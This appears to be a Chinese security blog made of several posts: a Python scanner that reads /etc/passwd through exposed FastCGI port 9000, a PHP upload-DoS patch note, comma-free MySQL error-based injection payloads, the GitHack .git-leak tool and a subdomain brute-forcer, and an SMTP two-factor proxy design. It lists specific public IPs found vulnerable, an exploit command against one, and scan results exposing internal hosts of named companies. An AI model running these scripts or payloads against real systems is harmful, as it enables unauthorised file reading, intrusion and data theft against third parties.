fastcgi文件读取漏洞python扫描脚本

fastcgi文件读取(代码执行)是个很老的漏洞,漏洞描述:  PHP FastCGI 的远程利用

利用该漏洞可读取系统文件,甚至有一定几率成功执行代码。  下载上述文章中提到的:  fcgi_exp

协议细节其实我已不关心,只需要一个python的扫描脚本。于是拿wireshark抓了下GaRY的程序,写一小段代码。

外网暴露9000端口的机器自然是非常非常少的,但内网可就说不定了。

import socket
import sys

def test_fastcgi(ip):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM); sock.settimeout(5.0)
    sock.connect((ip, 9000))
    data = """
    01 01 00 01 00 08 00 00  00 01 00 00 00 00 00 00
    01 04 00 01 00 8f 01 00  0e 03 52 45 51 55 45 53 
    54 5f 4d 45 54 48 4f 44  47 45 54 0f 08 53 45 52 
    56 45 52 5f 50 52 4f 54  4f 43 4f 4c 48 54 54 50 
    2f 31 2e 31 0d 01 44 4f  43 55 4d 45 4e 54 5f 52
    4f 4f 54 2f 0b 09 52 45  4d 4f 54 45 5f 41 44 44
    52 31 32 37 2e 30 2e 30  2e 31 0f 0b 53 43 52 49 
    50 54 5f 46 49 4c 45 4e  41 4d 45 2f 65 74 63 2f 
    70 61 73 73 77 64 0f 10  53 45 52 56 45 52 5f 53
    4f 46 54 57 41 52 45 67  6f 20 2f 20 66 63 67 69
    63 6c 69 65 6e 74 20 00  01 04 00 01 00 00 00 00
    """
    data_s = ''
    for _ in data.split():
        data_s += chr(int(_,16))
    sock.send(data_s)
    try:
        ret = sock.recv(1024)
        if ret.find(':root:') > 0:
            print ret
            print '%s is vulnerable!' % ip
            return True
        else:
            return False
    except Exception, e:
        pass
            
    sock.close()


if __name__ == '__main__':
    if len(sys.argv) == 1:
        print sys.argv[0], '[ip]'
    else:
        test_fastcgi(sys.argv[1])

通过快速扫描9000端口,可以发现几个存在漏洞的机器:

110.164.68.137  is vul !
110.164.68.148  is vul !
110.164.68.149  is vul !
110.164.68.151  is vul !
110.164.68.154  is vul !
110.164.68.155  is vul !

fcgi_exp.exe read 110.164.68.137 9000 /etc/passwd

fastcgi.exp

Ubuntu安装php5.6.9免疫Multipart/form-data远程拒绝服务漏洞

最近百度的同学liushusheng[at]baidu.com向php反馈了一个 Multipart/form-data 远程拒绝服务 的安全漏洞。

攻击者可以构造并持续发送畸形HTTP请求,恶意占用系统资源。

简单测试,多线程持续发包,可以让一些性能较低的网站延长响应时间,甚至是直接出错。在我的测试机上,一旦攻击开始,CPU占用率会很快飙升至99%。

从下图可以看到,cpu一栏,占用率是很高的。(我的VPS是8 vcpu)

php-dos

最新释出的 php 5.6.9(2015.5.14) 已经修复了这个问题。

虽然攻击过程必须持续发包,并且性能好的服务器很难被打挂,但仍然大家建议更新修复这个问题。

我在自己vps上更新了php 5.6.9(配合apache),简单记录一下基本的操作步骤:

php -v     #可以先检查下自己当前的版本

apt-get install libxml2-dev

apt-get install apache2-dev

wget http://cn2.php.net/distributions/php-5.6.9.tar.bz2

tar -xvf php-5.6.9.tar.bz2

cd php-5.6.9/

which apxs    # 确认找到apxs的路径

./configure --with-apxs2=`which apxs` --with-mysql

make

make install

php -v    #再次检查php的版本

cp .libs/libphp5.so /usr/lib/apache2/modules/

service apache2 restart

重启apache之后,php的版本已经变成了5.6.9

php.ver

再次测试,cpu占用率已经降低了:

php.5.6.9.test

升级后发现,匿名用户访问博客首页,显示空白,但已登录的用户却不受影响。

说明是受缓存影响。 于是到 WP Super Cache插件 页面重新生成缓存,点击页面上的“更新按钮”即可。

随后再刷新,首页已经可以匿名访问了。

 

参考链接:

http://sec.baidu.com/index.php?research/detail/id/22

https://bugs.php.net/bug.php?id=69364

MySQL注射的过滤绕过技巧[3]

这一篇介绍不带逗号注入。 之所以不带逗号,多半是因为它被当做分隔符,或者是被脚本过滤了。比如这样一个URL:

http://www.target.com/index.php?cate=1,2,3,4,5

参数cate可以注入,但是不能使用逗号,因为逗号被脚本作为分隔符预处理。

这种注射点的利用方法是使用数学运算函数在子查询中报错,比如exp函数(参考 EXP(X) ),  MySQL会把子查询的中间结果暴露出来。

这里我发了一个例子到wooyun:  17173游戏某站点MySQL报错注入(不带逗号注入的猜解过程)

select exp(~(select*from(select user())a))

MySQL报错:

mysql> select exp(~(select*from(select user())a));
ERROR 1690 (22003): DOUBLE value is out of range in ‘exp(~((select ‘root@localhost’ from dual)))’

这样我们就得到了当前user()是root@localhost。

exp(x)函数的作用: 取常数e的x次方,其中,e是自然对数的底。

~x 是一个一元运算符,将x按位取补。举个例子:

mysql> select hex(2);
+——–+
| hex(2) |
+——–+
| 2 |
+——–+

mysql> select hex(~2);
+——————+
| hex(~2) |
+——————+
| FFFFFFFFFFFFFFFD |
+——————+

这条查询会出错,是因为exp(x)的参数x过大,超过了数值范围。分解到子查询,就是:

1. (select*from(select user())a) 得到字符串 root@localhost

2. 表达式’root@localhost’被转换为0,按位取补之后得到一个非常的大数,它是MySQL中最大的无符号整数:

mysql> select ~0;
+———————-+
| ~0 |
+———————-+
| 18446744073709551615 |
+———————-+

3. exp无法计算e的18446744073709551615次方,最终报错,但是MySQL把前面 1) 中子查询的临时结果暴露出来了

了解了MySQL的这个特点,其实我们就还可以精心构造其他的一元运算符,让MySQL查询在没有逗号的情况下报错,比如:

mysql> select !(select*from(select user())x)-~0;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in ‘((not((select ‘root@localhost’ from dual))) – ~(0))’

mysql> select 1 – 18446744073709551615;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in ‘(1 – 18446744073709551615)’

原因如第二个查询所述。

这个例子是bigint超过数值范围,手法类似。

GitHack — 一个git泄露利用脚本

当前大量开发人员使用git进行版本控制,对站点自动部署。  如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。

GitHack是一个.git泄露利用脚本,通过泄露的.git文件夹下的文件,还原重建工程源代码。

渗透测试人员、攻击者,可以进一步审计代码,挖掘:文件上传,SQL注射等安全漏洞。

脚本的工作原理

  1. 解析.git/index文件,找到工程中所有的: ( 文件名,文件sha1 )
  2. 去.git/objects/ 文件夹下下载对应的文件
  3. zlib解压文件,按原始的目录结构写入源代码

它的优点

  1. 速度快,默认20个工作线程
  2. 尽量还原所有的源代码,缺失一部分文件不影响脚本工作
  3. 脚本不需要执行额外的git命令,All you need is python
  4. 脚本无需浏览目录

可能的改进

存在文件被gc打包到git\objects\pack的情况,稍后可测试下看能否直接获取并解压这个文件,还原源代码

用法示例

GitHack.py http://www.hoolai.com/.git/

执行中截图:

GitHack

执行结果:

GitHack_result

获取代码:https://github.com/lijiejie/GitHack

参考资料:

Git Index Formart

非常感谢 sbp 的 gin – a Git index file parser,脚本中使用了他的解析源代码,为适用python 2.x和Windows作了细微的改动

subDomainsBrute — 改进渗透测试时暴力枚举子域名的python脚本

更新日志:

  • 2015-4-2  修复了在Linux系统下进度条输出混乱的bug,填充空格以清空原始输出

渗透测试时,前期的信息收集包括主机(服务)发现。 子域名暴力枚举是十分常用的主机查找手段。

我写了一个改进的小脚本,用于暴力枚举子域名,它的改进在于:

  1. 用小字典递归地发现三级域名,四级域名、五级域名等不容易被探测到的域名
  2. 字典较为全面,小字典就包括3万多条,大字典多达8万条
  3. 默认使用114DNS、百度DNS、阿里DNS这几个快速又可靠的公共DNS进行查询,可随时修改配置文件添加你认为可靠的DNS服务器
  4. 自动筛选泛解析的域名,当前规则是: 超过10个域名指向同一IP,则此后发现的其他指向该IP的域名将被丢弃
  5. 整体速度还过得去,在我的PC上,每秒稳定扫描100到200个域名(10个线程)

以下是我扫描baidu.com得到的结果,共发现1521个域名,能找到不少内网域名和IP,效果还是非常不错的。

它甚至可以发现这样的域名: data.test.noah.baidu.com [10.36.166.17]  未经改进的工具通常是探测不到这个域名的。

扫描其他几家公司,情况一样,可以发现不少内网域名、IP(段)、甚至是十分隐蔽的后台。

这就是不做private DNS 和 public DNS隔离的坏处啊,内网的相关拓扑和服务轻易暴露给黑客了。

https://www.lijiejie.com/wp-content/uploads/2015/04/baidu.com_.txt

youku.com    tudou.com   letv.com    renren.com     tencent.com

下载脚本: https://github.com/lijiejie/subDomainsBrute

请先安装依赖的dnspython,在install目录下。

如果你有什么意见、改进,请反馈,谢谢

附运行时截图一张:

subDomainsBrute

讨论一种基于tcp代理的SMTP防火墙和双因子认证及安全审计系统

邮箱和VPN安全,是企业安全运营的一大重点。而邮箱安全,却又常常成为企业安全的薄弱环节,攻击者经常借邮箱作为突破口,渗透企业内网。

简单地说,若没有有效的二次认证手段,VPN安全和邮箱安全是无法从根本上得到保证的。

今天讨论一种简单SMTP二次认证的实现方法。

概述

首先,SMTP服务不再直接暴露于外部不受信任的网络中,搬到内网。对内通过修改private DNS,内网主机可直接访问smtp服务器,因此,内网中所有服务均不受影响。

外部网络 <—> [SMTP防火墙] <—> 内网SMTP服务器 <–> 内网主机

外网必须通过防火墙(or 代理)来访问SMTP服务器。

代理的作用

1. 实现双因子认证

2. 主动拦截异常访问,主动报警

3. 安全审计

双因子认证功能的实现

SMTP是一个很简单的协议,考虑可以加入双因子认证的元素,只能是“用户名”、“密码”、“域名”、“端口”中的某一个。

我们考虑将这个因子附加到用户名中。

于是,用户在PC或手机上配置SMTP时,必须将用户名修改成系统提供的转换后的值,方可认证成功。而直接使用用户名,则是无法完成认证的。

举个例子,我的邮箱是[email protected],配置必须是:

Server:  smtpProxy.security.com      (代理服务器)

Port:      25                                    (TCP代理的端口号)

Username: lijiejie.188.test.py    (这里的用户名必须填入系统转换后的值)

Password: 原来的密码

这个lijiejie.188.test.py如何得来呢? 可以下发手机短信,当代理检查到用户名直接登录的情况,向用户手机上发送一个新的用户名,用户使用短信中的用户名进行认证。

如果有动态口令APP或者rsa securid,可以把动态密码附加到用户名后面。而一旦认证成功,完成一次绑定。今后的一个月中,用户都可以使用绑定的动态口令在任何外网的设备上登陆SMTP服务器。一个月之后,绑定过期,必须重新绑定新的口令。

代理检测到用户名和绑定的值不匹配,主动断开连接。

代理检查到用户名和绑定匹配,主动把用户名后面的字符串删除,再转发给内网的SMTP服务器。

双因子认证有什么好处?

1. 内网主机不需要绑定,因此,如果攻击者通过web漏洞获取到了某个邮箱的账号密码,在外网无法登入我们的SMTP服务器

2. 不改变原有SMTP协议,实施双因子认证。但缺点是这个因子实际是一个月才变化一次(One-Month-Password),而不是真正的One-Time-Password。

3. 这个绑定位于用户的PC和手机上,可以随时解绑。

一个简单的例子

这个demo是一个代理程序,它代理到applesmtp.163.com,只有在用户名后面加上.iqiyi.com,才可以完成认证。

https://gist.github.com/lijiejie/012e564ee0aae5283029

当然,这只是最基本的思路,非常不完善。

各种缺点也非常明显,本篇仅作原始的记录。